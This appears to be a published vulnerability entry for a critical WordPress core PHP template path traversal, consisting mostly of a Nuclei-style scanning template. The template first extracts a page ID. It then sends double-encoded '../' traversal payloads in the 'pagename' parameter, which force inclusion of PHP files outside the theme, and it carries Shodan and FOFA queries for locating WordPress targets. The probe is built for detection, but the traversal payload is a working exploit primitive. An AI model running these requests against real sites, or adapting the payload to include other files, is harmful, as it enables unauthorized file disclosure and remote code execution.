CVE-2026-87902: WordPress Core - PHP Template Path Traversal

2026-09-28 Unknown PoC Public

Description

An unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the active theme directories. If relevant pre-conditions for both the server and the active theme are met, this can lead to RCE.

PoC

id: CVE-2026-87902

info:
  name: WordPress Core - PHP Template Path Traversal
  author: Hadrian,FLX
  severity: critical
  description: |
    An unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the active theme directories. If relevant pre-conditions for both the server and the active theme are met, this can lead to RCE.
  impact: |
    An unauthenticated attacker can include local PHP files outside the active theme. Depending on the files present and the PHP configuration, this can disclose sensitive data or lead to arbitrary code execution.
  remediation: |
    Update WordPress to a patched maintenance release for the installed branch.
  reference:
    - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
    - https://github.com/WordPress/WordPress/commit/fdeab470f4b4062462cf8ccdc788f258683c2d6f
    - https://hadrian.io/vulnerability-alerts/cve-2026-87902-working-poc-wordpress-critical-path-traversal
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 9.2
    cve-id: CVE-2026-87902
    epss-score: 0.18166
    epss-percentile: 0.97111
    cwe-id: CWE-98
  metadata:
    verified: true
    max-request: 6
    vendor: wordpress
    product: wordpress
    framework: wordpress
    shodan-query: http.component:"WordPress"
    fofa-query: app="WordPress"
  tags: cve,cve2026,wordpress,wp-core,lfi,unauth,vkev,kev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-json/wp/v2/pages?per_page=1&_fields=id HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /?rest_route=/wp/v2/pages&per_page=1&_fields=id HTTP/1.1
        Host: {{Hostname}}

      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: false
    stop-at-first-match: true

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'regex("\"id\"\\s*:\\s*[0-9]+", body) || regex("(?:page_id=|page-id-|page-item-)[0-9]+", body)'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        name: page_id
        part: body
        internal: true
        group: 1
        regex:
          - '"id"\s*:\s*([0-9]+)'
          - '(?:page_id=|page-id-|page-item-)([0-9]+)'

  - raw:
      - |
        POST /?page_id={{page_id}}&pagename=templates%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fwp-includes%252Ftheme-compat%252Ffooter HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 0

      - |
        POST /?page_id={{page_id}}&pagename=templates%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fwp-links-opml HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 0

    stop-at-first-match: true
    redirects: false

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<div id=\"footer\" role=\"contentinfo\">", "having the \"powered by\" link somewhere on your blog") || contains_all(body, "opml version", "generator=\"WordPress")'
          - 'status_code == 200'
        condition: and
# digest: 490a004630440220062b93a4af1c7c64f01d0c648b6743dd489a0a0a8e7e1c834b0e626e24d349d90220288ea4ef4ed0e9e9d80c8dd1f546124f3646d4b63712e4795722f0fb20ec5d9e:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.